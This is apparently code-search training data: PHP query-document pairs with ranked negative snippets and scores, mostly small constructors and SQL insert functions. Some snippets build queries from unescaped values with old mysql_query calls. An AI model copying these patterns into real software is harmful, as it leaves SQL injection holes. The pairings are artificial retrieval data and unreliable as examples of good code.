{}", "private function __construct() {}", "private function __construct() {}" ]
[ "0.5734393", "0.55682063", "0.55682063", "0.5503339", "0.5485193", "0.5485193", "0.5485193", "0.5449028", "0.5449028", "0.54487437", "0.54264367", "0.540743", "0.5393745", "0.5393745", "0.5393745", "0.5393745", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.53586775", "0.53358805", "0.5332892", "0.5332498", "0.5332498", "0.5332498", "0.5304685", "0.5296901", "0.5291923", "0.5291923", "0.5291923", "0.5291923", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5290754", "0.5290754", "0.52899677", "0.5283692", "0.5282918", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162" ]
0.0
-1
TODO: move implementation to this method
public function getMimeTypeBreakdown() { $requests = null; return getBreakdown($this->testInfo->getId(), $this->testInfo->getRootDirectory(), $this->run, $this->cached ? 1 : 0, $requests); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function __init__() { }", "final private function __construct() {}", "final private function __construct() {}", "protected final function __construct() {}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "protected function fixSelf() {}", "protected function fixSelf() {}", "final private function __construct(){\r\r\n\t}", "private function __() {\n }", "final private function __construct() {\n\t\t\t}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function _process() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "private function __construct()\t{}", "public function helper()\n\t{\n\t\n\t}", "protected function __construct () {}", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct() {\n \n }", "private function __construct () {}", "private function __construct() {\r\n\t\r\n\t}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "final private function __construct()\n {\n }", "private function __construct() {\r\n\t\t\r\n\t}", "private final function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}" ]
[ "0.5734393", "0.55682063", "0.55682063", "0.5503339", "0.5485193", "0.5485193", "0.5485193", "0.5449028", "0.5449028", "0.54487437", "0.54264367", "0.540743", "0.5393745", "0.5393745", "0.5393745", "0.5393745", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.5375642", "0.53586775", "0.53358805", "0.5332892", "0.5332498", "0.5332498", "0.5332498", "0.5304685", "0.5296901", "0.5291923", "0.5291923", "0.5291923", "0.5291923", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5291551", "0.5290754", "0.5290754", "0.52899677", "0.5283692", "0.5282918", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162", "0.5278162" ]
0.0
-1
Inserta a la taula
function insert() { $coche = new coches_model(); if (isset($_POST['insert'])) { $coche->setMarca ($_POST['marca']); $coche->setModelo ($_POST['modelo']); $coche->setFabricado ($_POST['fabricado']); $error = $coche->insertar(); if (!$error) { header( "Location: index.php?controller=coches&action=listado"); } else { echo $error; } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function insert($tienda);", "abstract public function insert();", "public static function insert()\n {\n }", "function insertar($bd);", "public function insert($turmaDisciplina);", "public function insert() {\n \n }", "public function insert($perifericos);", "public function insert($aluno) {\n\t}", "public function insert( $objet);", "public function insert() {\n $conexion = StorianDB::connectDB();\n $insercion = \"INSERT INTO cuento (titulo, contenido, autor) VALUES (\\\"\".$this->titulo.\"\\\", \\\"\".$this->contenido.\"\\\", \\\"\".$this->autor.\"\\\")\";\n $conexion->exec($insercion);\n }", "public function insert($tarConvenio);", "public abstract function insert();", "public function insert(){\n $bd = Database::getInstance();\n $bd->query(\"INSERT INTO canciones(artista, ncancion, idGen, album) VALUES (:art, :nca, :gen, :alb);\",\n [\":art\"=>$this->artista,\n \":gen\"=>$this->idGen,\n \":alb\"=>$this->album,\n \":nca\"=>$this->ncancion]);\n }", "public function inserir()\n {\n }", "public function insert()\n {\n \n }", "public abstract function Insert();", "public function insert($cotizacion);", "public function insert($cbtRekapNilai);", "public function insert() {\n\t$stmt = $this->_database->prepare('INSERT INTO planetterrains (planetid, terrainid, x, y) VALUES (?, ?, ?, ?)');\n\t$stmt->bind_param('iiii', $this->planetid, $this->terrainid, $this->x, $this->y);\n\t$stmt->execute();\n\t$this->refid = $this->_database->insert_id;\n\tif (\\is_array($this->deposit) && \\count($this->deposit) > 0) {\n\t $this->deposit[$this->refid]->terrainid = $this->refid;\n\t $this->deposit[$this->refid]->commit();\n\t}\n\telse if (!\\is_array($this->deposit)) {\n\t $this->deposit->terrainid = $this->refid;\n\t $this->deposit->commit();\n\t}\n }", "public function insert()\n {\n $db = new Database();\n $db->insert(\n \"INSERT INTO position (poste) VALUES ( ? )\",\n [$this->poste]\n );\n }", "function insertkuesionerman($tabel,$dt) {\n\t\t$this->db->insert($tabel, $dt);\n }", "public function insert($permiso);", "public function insertionVisiteur(Tache $t){\n $fait = 0;\n $query = \"insert into tache values ('\".NULL.\"','\".$t->getTitre().\"','\".$t->getDescription().\"','\".$t->getDatePrevu().\"','\".$t->getDateInscrite().\"','\".$fait.\"','\".NULL.\"')\";\n $this->con->executeQuery($query);\n }", "public function insert($table);", "public static function Insert(){\r\n }", "function insertTest()\n {\n $this->cD->insertElement(new Product(1, \"Trang\"));\n $this->cD->insertElement(new Product(1, \"Trang\"));\n $this->cD->insertElement(new Product(1, \"Trang\"));\n }", "public function insert($metricaevotranspiracion);", "private function insertNew() {\n $sth=NULL;\n $array=array();\n $query=\"INSERT INTO table_spectacles (libelle) VALUES (?)\";\n $sth=$this->dbh->prepare($query);\n $array=array($this->libelle);\n $sth->execute($array);\n $this->message=\"\\\"\".$this->getLibelle().\"\\\" enregistré !\";\n $this->blank();\n $this->test=1;\n }", "public function insert($loyPrg);", "public function insert()\n {\n }", "public function insert()\n {\n }", "public function insert($contenido);", "public function insert($cbtSoalSiswa);", "public function insert($usuario_has_hojaruta);", "function inserir($cidade, $bairro, $rua, $numeroTerreno, $quantidadeCasa, $valor, $idUsuario) #Funcionou\n {\n $conexao = new conexao();\n $sql = \"insert into terreno( Cidade, Bairro, Rua, NumeroTerreno, QuantidadeCasa, Valor, idUsuario) \n values('$cidade', '$bairro', '$rua', '$numeroTerreno', '$quantidadeCasa', '$valor', $idUsuario )\";\n mysqli_query($conexao->conectar(), $sql);\n echo \"<p> Inserido </p>\";\n }", "public function insert($gunBbl);", "function insertEtiquetaImpresa($etiqueta){\r\n\t\t\r\n\t$query = sprintf('INSERT INTO etiq_impresas(etiq_impresas_id, nombre, grupo, material, descripcion, ancho, alto, cantidad, colores, cambios, cliches, acabado, coste) VALUES (%d, \"%s\", \"%s\", %d, \"%s\", %f, %f, %d, %d, %d, %d, %d, %f)',\r\n\tgetUltimoArticulo()+1,\r\n\t$etiqueta->nombre,\r\n\t$etiqueta->grupo,\r\n\t$etiqueta->material,\r\n\t$etiqueta->descripcion,\r\n\t$etiqueta->ancho,\r\n\t$etiqueta->alto,\r\n\t$etiqueta->cantidad,\r\n\t$etiqueta->colores,\r\n\t$etiqueta->cambios,\r\n\t$etiqueta->cliches,\r\n\t$etiqueta->acabado,\r\n\t$etiqueta->coste);\r\n\tinsert_db($query);\r\n\t}", "function Insert_Soal($tabel, $dt) {\n return $this->db->insert($tabel, $dt);\n }", "public function insertar(){\n $mysqli = new mysqli(Config::BBDD_HOST, Config::BBDD_USUARIO, Config::BBDD_CLAVE, Config::BBDD_NOMBRE);\n //Arma la query\n $sql = \"INSERT INTO tipo_domicilios ( \n tipo,\n nombre\n ) VALUES (\n '\" . $this->tipo .\"', \n '\" . $this->nombre .\"'\n );\";\n //Ejecuta la query\n if (!$mysqli->query($sql)) {\n printf(\"Error en query: %s\\n\", $mysqli->error . \" \" . $sql);\n }\n //Obtiene el id generado por la inserción\n $this->idtipo = $mysqli->insert_id;\n //Cierra la conexión\n $mysqli->close();\n }", "function insert() {\n\t\t$sql = \"INSERT INTO \".$this->hr_db.\".hr_amphur (amph_name, amph_name_en, amph_pv_id, amph_active)\n\t\t\t\tVALUES(?, ?, ?, ?)\";\n\t\t$this->hr->query($sql, array( $this->amph_name, $this->amph_name_en, $this->amph_pv_id, $this->amph_active));\n\t\t$this->last_insert_id = $this->hr->insert_id();\n\t}", "function insertarPuertos($puerto,$bandera,$refdestinos) {\r\n$sql = \"insert into tbpuertos(idpuerto,puerto,bandera,refdestinos)\r\nvalues ('','\".($puerto).\"','\".($bandera).\"',\".$refdestinos.\")\";\r\n$res = $this->query($sql,1);\r\nreturn $res;\r\n}", "public function insert($titulos){\n// $id=$titulos->getId();\n$descripcion=$titulos->getDescripcion();\n$universidad_id=$titulos->getUniversidad_id();\n$docente_id=$titulos->getDocente_id()->getId();\n\n try {\n $sql= \"INSERT INTO `titulos`( `descripcion`, `universidad`, `docente_id`)\"\n .\"VALUES ('$descripcion','$universidad_id','$docente_id')\";\n return $this->insertarConsulta($sql);\n } catch (SQLException $e) {\n throw new Exception('Primary key is null');\n }\n }", "public function insertar($objeto){\r\n\t}", "public function insertionUtilisateur(Tache $t){\n $fait = 0;\n $login = $_SESSION['pseudo'];\n $query = \"insert into tache values ('\".NULL.\"','\".$t->getTitre().\"','\".$t->getDescription().\"','\".$t->getDatePrevu().\"','\".$t->getDateInscrite().\"','\".$fait.\"','\".$login.\"')\";\n $this->con->executeQuery($query);\n }", "function insertStade ($tab)\n{\n\t$con = connexion ();\n\tif($con != null)\n\t{\n\t\t$requete = \"insert into stade values (null,'\".$tab['nom'].\"','\".$tab['ville'].\"','\".$tab['idequipe'].\"');\";\n\t\tmysqli_query($con, $requete);\n\t\tdeconnexion($con);\n\t}\n}", "public function insert() {\n $this->observer->idchangemoney = $this->connection->insert(\"ren_change_money\", array(\n \"`change`\" => $this->observer->change,\n \"`year`\" => $this->observer->year,\n \"`idmoney`\" => $this->observer->money->idmoney\n ), $this->user->iduser);\n }", "public function insertBarang($data)\n {\n //menyimpan data ke tabel\n $this->insert($data);\n }", "public function insert()\n {\n # code...\n }", "function pruebaInsertarInterfaz() { // ---> prueba unitaria de la funcion Insertar interfaz \n $test = $this->insertarInterfaz(); //el metodo post para prueba esta en el archio interface.js en el la funcion para insertar interfaaz\n $expected_result = \"true\";\n $test_name = 'comprobar si inserta o no una interfaz en la BD';\n $this->unit->run($test, $expected_result, $test_name);\n echo $this->unit->report();\n }", "function insert($tabla, $campos, $valores){\n #se forma la instruccion SQL\n $q = 'INSERT INTO '.$tabla.' ('.$campos.') VALUES ('.$valores.')';\necho $q;\n $resultado = $this->consulta($q);\n \n if($resultado) return true;\n else return false;\n}", "public function insert($otros_votos);", "public function insert(){\n\t\tif(!mysql_query(\"INSERT INTO $this->tabla (nombre) VALUES ('$this->nombre')\")){\n\t\t\tthrow new Exception('Error insertando renglón');\n\t\t}\n\t}", "public function insert($table, array $data);", "public function insertar($data){\n\t\t\t$this->db->insert('tareas',array(\n\t\t\t\t'titulo'=>$data['titulo'],\n\t\t\t\t'descripcion'=>$data['descripcion'],\n\t\t\t\t'id_estado'=>1,\n\t\t\t\t'fecha_alta'=>date('Y-m-d H:i:s'),\n\t\t\t\t'fecha_modificacion'=>date('Y-m-d H:i:s'),\n\t\t\t\t'fecha_baja'=>null\n\t\t\t\t)\n\t\t\t);\n\t\t}", "public function insert($nu_pcp_op, $qtd_produzir, $qtd_produto,$dt_emissao, $ds_produto, $co_int_produto, $nu_lote, $nu_comprimento, $nu_largura, $nu_espessura,$corte_espessura, $co_pcp_ac, $tp_produto, $no_cor,$fator)\r\n\t{\r\n\t\t$row = $this->getMedidaCorte($co_pcp_ac, $co_int_produto);\r\n\t\t$sql = \"INSERT INTO tb_pcp_etiqueta (\r\n\t\t\t\t\tnu_pcp_op\r\n\t\t\t\t,\tqtd_produzir\r\n\t\t\t\t,\tqtd_produto\r\n\t\t\t\t,\tdt_emissao\r\n\t\t\t\t,\tds_produto\r\n\t\t\t\t,\tco_int_produto\r\n\t\t\t\t,\tnu_lote\r\n\t\t\t\t,\tnu_comprimento\r\n\t\t\t\t,\tnu_largura\r\n\t\t\t\t,\tcorte_nu_comprimento\r\n\t\t\t\t,\tcorte_nu_largura\r\n\t\t\t\t,\tcorte_nu_espessura\r\n\t\t\t\t,\tnu_espessura\r\n\t\t\t\t,\tco_pcp_ac\r\n\t\t\t\t,\ttp_produto\r\n\t\t\t\t,\tno_cor\r\n\t\t\t\t,\tnu_fator_multiplicador)\r\n\t\t\t\tVALUES (\r\n\t\t\t\t'\".addslashes($nu_pcp_op).\"'\r\n\t\t\t\t, '\".addslashes($qtd_produzir).\"'\r\n\t\t\t\t, '\".addslashes($qtd_produto).\"'\r\n\t\t\t\t, '\".addslashes($dt_emissao).\"'\r\n\t\t\t\t, '\".addslashes($ds_produto).\"'\r\n\t\t\t\t, '\".addslashes($co_int_produto).\"'\r\n\t\t\t\t, '\".addslashes($nu_lote).\"'\r\n\t\t\t\t, '\".addslashes($nu_comprimento).\"'\r\n\t\t\t\t, '\".addslashes($nu_largura).\"'\r\n\t\t\t\t, '\".addslashes($row[0]).\"'\r\n\t\t\t\t, '\".addslashes($row[1]).\"'\r\n\t\t\t\t, '\".addslashes($corte_espessura).\"'\r\n\t\t\t\t, '\".addslashes($nu_espessura).\"'\r\n\t\t\t\t, \".$co_pcp_ac.\"\r\n\t\t\t\t, '\".addslashes($tp_produto).\"'\r\n\t\t\t\t, '\".addslashes($no_cor).\"'\r\n\t\t\t\t, '\".addslashes($fator).\"')\";\r\n\t\tmysql_query($sql,$this->conexaoERP);\r\n\t}", "protected function _insert()\n {\n \n }", "protected function _insert()\n {\n \n }", "public function insertar($data){\n $stm = Conexion::conector()->prepare(\"INSERT INTO tareas VALUES(null,:A,:B)\");\n $stm->bindParam(\":A\",$data[\"nombre\"]); //definir q es A y de donde lo obtengo\n $stm->bindParam(\":B\",$data[\"descripcion\"]);\n return $stm->execute();\n }", "function simpanTutupBulanSimuda($data){\n $this->db->insert($this->tutup_bulan_simuda,$data);\n }", "public function insert($actividades_fuera);", "public function mostrar_insertar() {\r\n\t\t\t$this -> pantalla_edicion('insertar'); \r\n\t\t }", "public function insert($kelasMateri);", "function insertarHorarios($hora) {\r\n$sql = \"insert into tbhorarios(idtbhorario,hora)\r\nvalues ('',\".$hora.\")\";\r\n$res = $this->query($sql,1);\r\nreturn $res;\r\n}", "public function insert($data);", "protected function _insert()\n\t{\n\t}", "public function insert($mambot);", "function insertJoueurs ($tab)\n{\n\t$con = connexion ();\n\tif($con != null)\n\t{\n\t\t$requete = \"insert into joueurs values (null,'\".$tab['nom'].\"','\".$tab['prenom'].\"','\".$tab['age'].\"');\";\n\t\tmysqli_query($con, $requete);\n\t\tdeconnexion($con);\n\t}\n}", "function insertEquipe ($tab)\n{\n\t$con = connexion ();\n\tif($con != null)\n\t{\n\t\t$requete = \"insert into equipe values (null,'\".$tab['nomE'].\"','\".$tab['nomC'].\"','\".$tab['prenomC'].\"','\".$tab['numeroC'].\"','\".$tab['idcoach'].\"');\";\n\t\tmysqli_query($con, $requete);\n\t\tdeconnexion($con);\n\t}\n}", "public function insert($index, $value);", "abstract public function insert(string $table, array $row, array $options = []);", "public function Insert(){\n //Instancia conexao com o PDO\n $pdo = Conecta::getPdo();\n //Cria o sql passa os parametros e etc\n $sql = \"INSERT INTO $this->table (idcidade, cidade) VALUES (?, ?)\";\n $consulta = $pdo->prepare($sql);\n $consulta ->bindValue(1, $this->getIdCidade());\n $consulta ->bindValue(2, $this->getCidade());\n $consulta ->execute();\n $last = $pdo->lastInsertId();\n }", "public function insert($tableName, $data);", "function inserir() {\n\t\t$this->sql = mysql_query(\"INSERT INTO suporte (user_cad, data_cad, id_regiao, exibicao, tipo, prioridade, assunto, mensagem, arquivo, status, status_reg,suporte_pagina)\n\t\t\t\t\t VALUES\t('$this->id_user_cad ','$this->data_cad','$this->id_regiao', '$this->exibicao', '$this->tipo','$this->prioridade', '$this->assunto', '$this->menssagem', '$this->tipo_arquivo','1','1','$this->pagina');\") or die(mysql_error());\n\t\t\t\t\t \n\t\t\t\t\t \n\t\t\t\n\t\t}", "function insert_stmt(){\n\t\tglobal $in;\n\t\tif ($this->attributes['BYTB']!='' )$this->fields_value_bytb($this->attributes['BYTB']);\n\t\t\n\t\t\n\t\tif ($this->attributes['TB']!='no'){\n\t\t\t$i=0;\n\t\t\tforeach ($this->values as $key => $val){\t\t\t\t\n\t\t\t\t$this->field_stmt[$i]=\"{$key}\";\n\t\t\t\t$this->value_stmt[$i]=\"{$in[$key]}\";\n\t\t\t\t\n\t\t\t\tif($in[$key]==1){\n\t\t\t\t\t$i++;\n\t\t\t\t\t$this->field_stmt[$i]=\"D_{$key}\";\n\t\t\t\t\t#GC 20/04/2015 gestione popolamento decode\n\t\t\t\t\tif (isset($this->attributes['DECODE'][$key])) $this->value_stmt[$i]=\"{$this->attributes['DECODE'][$key]}\";\n\t\t\t\t\telse $this->value_stmt[$i]=$val;\n\t\t\t\t}\n\t\t\t\t#GC 20/04/2015 gestione sbiancamento decode\n\t\t\t\tif($in[$key]==0){\n\t\t\t\t\t$i++;\n\t\t\t\t\t$this->field_stmt[$i]=\"D_{$key}\";\n\t\t\t\t\t$this->value_stmt[$i]=\"\";\n\t\t\t\t}\n\t\t\t\t$i++;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn;\n\t}", "public function insert($nometabella,$valori){\n\t\t$Nnumeri=new Nnumeri();\n\t\t$i=0;\n\t\t$n=0;\n\t\t$valori=explode(\",,\",$valori);\n\t\t$query='INSERT INTO '.$nometabella.' (';\n\t\tforeach($valori as $v){\n\t\t\tif($Nnumeri->pari($i)){\n\t\t\t\tif($i!=0) $query.=',';\n\t\t\t\t$query.= $v;\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\t\t$query.= ') VALUES (';\n\t\tforeach($valori as $v){\n\t\t\tif($Nnumeri->pari($n)==FALSE){\n\t\t\t\tif($n!=1) $query.=',';\n\t\t\t\tif(!is_numeric($v)) $query.=\"'\";\n\t\t\t\t$query.= $v;\n\t\t\t\tif(!is_numeric($v)) $query.=\"'\";\n\t\t\t}\n\t\t\t$n++;\n\t\t}\n\t\t$query.= ')';\n\t\tmysql_query($query) or die (\"Errore query insert per tabella \".$nometabella.\" con errore:<br><br>\".mysql_error());\n\t}", "function insert($tab, $data)\n{\n\tif (!is_array($data) and get_class($this->drv) != 'mysql')\n\t\t$data = $this->parseSetClausule($data);\n\t\t\n\tif (is_array($data)) {\n\t\t$sep = '';\n\t\t$kstr = $vstr = '';\n\t\tforeach($data as $k => $v) {\n\t\t\t$kstr .= $sep.$this->drv->quote($k);\n\t\t\tif (is_null($v)) $vstr .= $sep.\"NULL\";\n\t\t\telse $vstr .= $sep.\"'\".$this->escape($v).\"'\";\n\t\t\t$sep = ',';\n\t\t}\n\n\t\t$sql = \"INSERT INTO $tab ($kstr) VALUES ($vstr)\";\n\t}\n\telse {\n\t\t $sql = \"INSERT INTO $tab SET $data\";\n\t}\n\t\n\t$res = $this->query($sql);\n\treturn $this->drv->getInsertId($res);\n}", "public function insert(Table $table, $row);", "public function inserir() {\n $query = '\n insert into tb_atividade(\n id_evento, nome, qntd_part, inscricao, valor, tipo, carga_hr, data_inicio, data_fim\n ) values ( \n :id_evento, \n :nome, \n :qntd_part, \n :inscricao, \n :valor, \n :tipo, \n :carga_hr, \n :data_inicio, \n :data_fim\n )';\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id_evento', $this->atividade->__get('id_evento'));\n $stmt->bindValue(':nome', $this->atividade->__get('nome'));\n $stmt->bindValue(':qntd_part', $this->atividade->__get('qntd_part'));\n $stmt->bindValue(':inscricao', $this->atividade->__get('inscricao'));\n $stmt->bindValue(':valor', $this->atividade->__get('valor'));\n $stmt->bindValue(':tipo', $this->atividade->__get('tipo'));\n $stmt->bindValue(':carga_hr', $this->atividade->__get('carga_hr'));\n $stmt->bindValue(':data_inicio', $this->atividade->__get('data_inicio'));\n $stmt->bindValue(':data_fim', $this->atividade->__get('data_fim'));\n\n return $stmt->execute();\n }", "private function insert()\n {\n $this->query = $this->pdo->prepare(\n 'INSERT INTO ' . $this->table . ' (' .\n implode(', ', array_keys($this->data)) .\n ' ) VALUES (:' .\n implode(', :', array_keys($this->data)) .\n ')'\n );\n }", "public function insert(){\n\t\t$parametro = func_get_args();\n\t\t$resultado = $this->execSql($this->INSERT,$parametro);\n//\t\t\tdie();\n\t\tif(!$resultado){\n\t\t\t$this->onError(\"COD_INSERT\",$this->INSERT);\n\t\t}\n\t\treturn $resultado;\n\t}", "function insert_db($campos, $valores, $tab) {\n\t\t$inicio = \"INSERT INTO $tab(\";\n\t\t$meio = \") VALUES (\";\n\t\t$fim = \")\";\n\t\t$valor = sizeof($campos);\n\t\t//verifica el numero de elementos de un array\n\t\t$strc = \"\";\n\t\tfor($i = 0; $i <= ($valor - 1); $i++) {\n\t\t\t$strc .= \"$campos[$i]\";\n\t\t\tif($i != ($valor - 1)) {\n\t\t\t\t$strc .= \",\";\n\t\t\t}\n\t\t}\n\t\t$strv = \"\";\n\t\tfor($k = 0; $k <= ($valor - 1); $k++) {\n\t\t\t$strv .= \"\\\"$valores[$k]\\\"\";\n\t\t\tif($k != ($valor - 1)) {\n\t\t\t\t$strv .= \",\";\n\t\t\t}\n\t\t}\n\t\t$insere = \"$inicio$strc$meio$strv$fim\";\n\t\t$this -> query_db($insere);\n\t}", "public function insertRow($row);", "public function insertar($tabla, $campo){\r\n $resul = $this->conexion->query(\"INSERT INTO $tabla VALUES ($campo)\") or die($this->conexion->error);\r\n if($resul)\r\n echo \"Se agrego con exito\";\r\n return true;\r\n return false;\r\n }", "function insert_sub_variabel_kecamatan($variabel_id, $nama, $urutan,$a,$b,$c,$d){\n $query = $this->db->query(\"INSERT INTO `tb_sub_var_kecamatan` VALUES (NULL, '$variabel_id','$nama','$urutan','$a','$b','$c','$d') \");\n }", "public function insert($producto);", "function insertVoucher(){\n $db =new Database();\n $query=\"INSERT INTO `gutscheine`(`GutscheinID`, `Wert`, `Gueltigkeit`, `Eingeloest`) VALUES \"\n .\"('\".$this->gutscheinID.\"','\".$this->wert.\"','\".$this->gueltigkeit.\"','\".$this->eingeloest.\"')\";\n $db->insert($query);\n }", "function GenerarInserts($NombreTabla,$parametros){\n\n\t$ins= \"\t/* Funcion Insertar */\\n\";\n\t$ins.= \"\tpublic function \".strtolower( $NombreTabla ).\"Ins(){\\n\";\n\t$ins.= '\t\t$this->adampt->Liberar();'.\"\\n\";\n\tforeach ($parametros as $indice => $valor) {\n\t\t$ins.='\t\t$this->adampt->setParam( '.'$this->get_'.$valor.'() );'.\"\\n\";\n\t}\t\n\t$ins .='\t\t$query = $this->adampt->consulta(\"USP_XXX_I_'.$NombreTabla.'\");'.\"\\n\";\n\t$ins .='\t\tif( count($result) > 0){'.\"\\n\";\n\t$ins .='\t\t\treturn $result;'.\"\\n\";\n\t$ins .='\t\t}else{'.\"\\n\";\n\t$ins .='\t\t\treturn null;'.\"\\n\";\n\t$ins .='\t\t}'.\"\\n\";\n\t$ins .=\"\t}\\n\\n\";\n\treturn $ins;\n}", "protected function insert()\n\t{\n\t\t$this->autofill();\n\n\t\tparent::insert();\n\n\t}", "public function insert(){\n\n }", "public function insert() {\r\n // Rôle : insérer l'objet courant dans la base de données\r\n // Retour : true / false\r\n // Paramètre : aucun\r\n \r\n // Vérification de l'id\r\n if (!empty($this->getId())) {\r\n debug(get_class($this).\"->insert() : l'objet courant a déjà un id\");\r\n return false;\r\n }\r\n \r\n // Construction de la requête\r\n $sql = \"INSERT INTO `\".$this->getTable().\"` SET \";\r\n $param = [];\r\n $start = true;\r\n \r\n foreach ($this->getChamps() as $nom => $champs) {\r\n if ($nom === $this->getPrimaryKey() or !$champs->getAttribut(\"inBdd\")) {\r\n continue;\r\n }\r\n if ($start) {\r\n $sql .= \"`$nom` = :$nom\";\r\n $start = false;\r\n } else {\r\n $sql .= \", `$nom` = :$nom\";\r\n }\r\n \r\n $param[\":$nom\"] = $champs->getValue();\r\n }\r\n \r\n $sql .= \";\";\r\n \r\n // Préparation de la requête\r\n $req = self::getBdd()->prepare($sql);\r\n \r\n // Exécution de la requête\r\n if (!$req->execute($param)) {\r\n debug(get_class($this).\"->insert() : échec de la requête $sql\");\r\n return false;\r\n }\r\n \r\n // Assignation de l'id\r\n if ($req->rowCount() === 1) {\r\n $this->set($this->getPrimaryKey(), self::getBdd()->lastInsertId());\r\n return true;\r\n } else {\r\n debug(get_class($this).\"->insert() : aucune entrée, ou bien plus d'une entrée, créée\");\r\n return false;\r\n }\r\n }", "function insert($table, $insertNames, $values) {\n for($i = 0; $i < count($values); $i++) {\n $values[$i] = htmlspecialchars($values[$i]);\n }\n\n \n /**Kontrola stringu */\n if(!is_string($table)) {\n throw new Exception(\"Tabulka musí být string.\");\n }\n /**Kontorla poli */\n else if(!is_array($insertNames) || !is_array($values)) {\n throw new Exception(\"Hodnota musí být ve formátu pole.\");\n }\n /**Kontrola poctu nazvu atribtu s novymi hodnotami */\n else if(count($insertNames) !== count($values)){\n throw new Exception(\"Hodnoty se musí rovnat.\");\n }\n\n /**Pripojeni k databazi */\n $connect = NULL;\n try {\n $connect = require(\"connect.php\");\n }catch(Exception $e) {\n throw $e;\n }\n /**Formatovani a kontrola SQL utoku */\n $insertNames = implode(',', $insertNames);\n $value = '';\n for($i = 0; $i<count($values)-1; $i++) {\n $value .= '?,';\n }\n $value .= '?';\n /**Formatovani metody */\n $statement = $connect->prepare('INSERT INTO ' .$table .'('.$insertNames.') VALUES (' .$value.')');\n\n if(!$statement->execute($values)){\n throw new Exception(\"Chyba při INSERT dotazu\");\n }\n}", "function ajoutTache($taches) {\n global $bdd;\n $sql = \"\n INSERT INTO taches\n (titre, priorite)\n VALUES\n ('\". $taches[\"titre\"] .\"','\". $taches[\"priorite\"] .\"')\n \";\n\n mysqli_query($bdd, $sql);\n}", "function insert($bd,$data){\n$data_one = \"\";\n$data_two = \"\";\n$contador = count($data);\n$i = 1;\nforeach ($data as $key => $value) {\n\t\tif($i < $contador){\n\t\t\t$data_one .= $key.\",\";\n\t\t\t$data_two .= \":\".$key.\",\";\n\t\t}else{\n\t\t\t$data_one .= $key;\n\t\t\t$data_two .= \":\".$key;\n\t\t}\n\t\t$i++;\n}\n $sql = \"INSERT INTO \".$bd.\" (\".$data_one.\") VALUES (\".$data_two.\")\";\n$conexion = new ConexionOther();\n$stmt= $conexion->prepare($sql);\n$dato = $stmt->execute($data);\n//$stmt = null;\nreturn $dato;\n}", "function insertarSustanciaQuimica($idAsignacion)\n {\n $datosSustanciaQuimica = json_decode($this->input->post('datosSustanciaQuimica'));\n\n foreach ($datosSustanciaQuimica as $key => $value)\n {\n //INSERT\n $arraySustanciaQuimica = array(\n 'nombreSustancia' => $value->sustanciaQuimica,\n 'cantidadReporte' => $value->cantidadReporte,\n 'sitioAlmacenamiento' => $value->sitioAlmacenamiento,\n 'usoSustancia' => $value->usoSustancia,\n 